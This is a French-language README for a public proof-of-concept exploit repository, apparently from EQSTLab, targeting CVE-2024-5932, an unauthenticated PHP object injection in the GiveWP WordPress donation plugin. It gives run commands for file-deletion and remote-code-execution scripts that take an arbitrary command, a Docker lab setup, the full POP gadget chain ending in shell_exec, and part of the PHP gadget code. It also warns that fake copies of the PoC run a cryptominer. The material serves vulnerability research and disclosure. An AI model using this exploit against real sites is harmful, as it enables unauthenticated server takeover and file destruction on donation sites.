Preuve de concept pour CVE-2024-5932, une vulnérabilité d'injection d'objets PHP dans le plugin WordPress GiveWP, permettant l'exécution de code à distance sans authentification et la suppression arbitraire de fichiers via une chaîne POP.
Cet article est un article de recherche publié par EQSTLab.
Il existe actuellement de faux dépôts GitHub de PoC qui exécutent xmrig. Consultez le lien ci-dessous pour plus d'informations :
URL1: https://x.com/win3zz/status/1828704644987511107
URL2: https://x.com/bornunique911/status/1828712791844524453
URL3: https://x.com/Chocapikk_/status/1828801346637856841
★ CVE-2024-5932 Suppression de fichier arbitraire et PoC d'exécution de code à distance (RCE) ★
https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7
25 août : Téléchargement du PoC de suppression de fichier pour CVE-2024-5932
26 août : Nous avons exécuté avec succès des commandes arbitraires en utilisant CVE-2024-5932, mais nous envisageons de divulguer en raison de l'impact.
27 août : Nous avons trouvé une analyse détaillée du PoC dans un article de Julien Ahrens de RCE Security et avons décidé de publier notre PoC RCE. Nous avons téléchargé un PoC RCE supplémentaire sous le nom CVE-2024-5932-rce.py.
CVE-2024-5932 : Vulnérabilité d'injection d'objets PHP dans GiveWP description : Le plugin GiveWP Donation Plugin and Fundraising Platform pour WordPress est vulnérable à l'injection d'objets PHP dans toutes les versions jusqu'à la version 3.14.1 incluse via la désérialisation d'une entrée non fiable provenant du paramètre 'give_title'. Cela permet à des attaquants non authentifiés d'injecter un objet PHP. La présence supplémentaire d'une chaîne POP permet aux attaquants d'exécuter du code à distance et de supprimer des fichiers arbitraires.
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932
pip install -r requirements.txt
# Suppression de fichier arbitraire
python CVE-2024-5932.py -u <URL_À_EXPLOITER(URL du formulaire de don)> -f <FICHIER_À_SUPPRIMER>
# Exécution de code à distance
python CVE-2024-5932-rce.py -u <URL_À_EXPLOITER(URL du formulaire de don)> -c <COMMANDE_À_EXÉCUTER>
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-5932.py

CVE-2024-5932-rce.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
https://downloads.wordpress.org/plugin/give.3.14.1.zip
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



D'abord, accédez au shell wordpress avec la commande suivante :
docker exec -it -u root docker-wordpress-1 /bin/bash
Si le fichier appartient à root, il peut ne pas être supprimé en raison des permissions. Par conséquent, vous devez changer le propriétaire du fichier de test avec la commande suivante :
touch test && chown www-data test

Vous pouvez déboguer votre GiveWP en utilisant PHPSTORM.
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={votre_adresse_PHPSTORM}
xdebug.client_port={votre_port_de_débogage_PHPSTORM}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..Et ensuite vous pouvez déboguer votre wordpress.


À ce stade, la fonction get_meta() désérialise la valeur "give_title" précédemment enregistrée.
switch ( $key ) {
case 'title':
$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
break;
...
strip_tags: remplacer les octets nuls -> en utilisant \0
stripslashes_deep: remplacer les backslashes -> en utilisant \\\\
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (Retourne la chaîne de commande)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}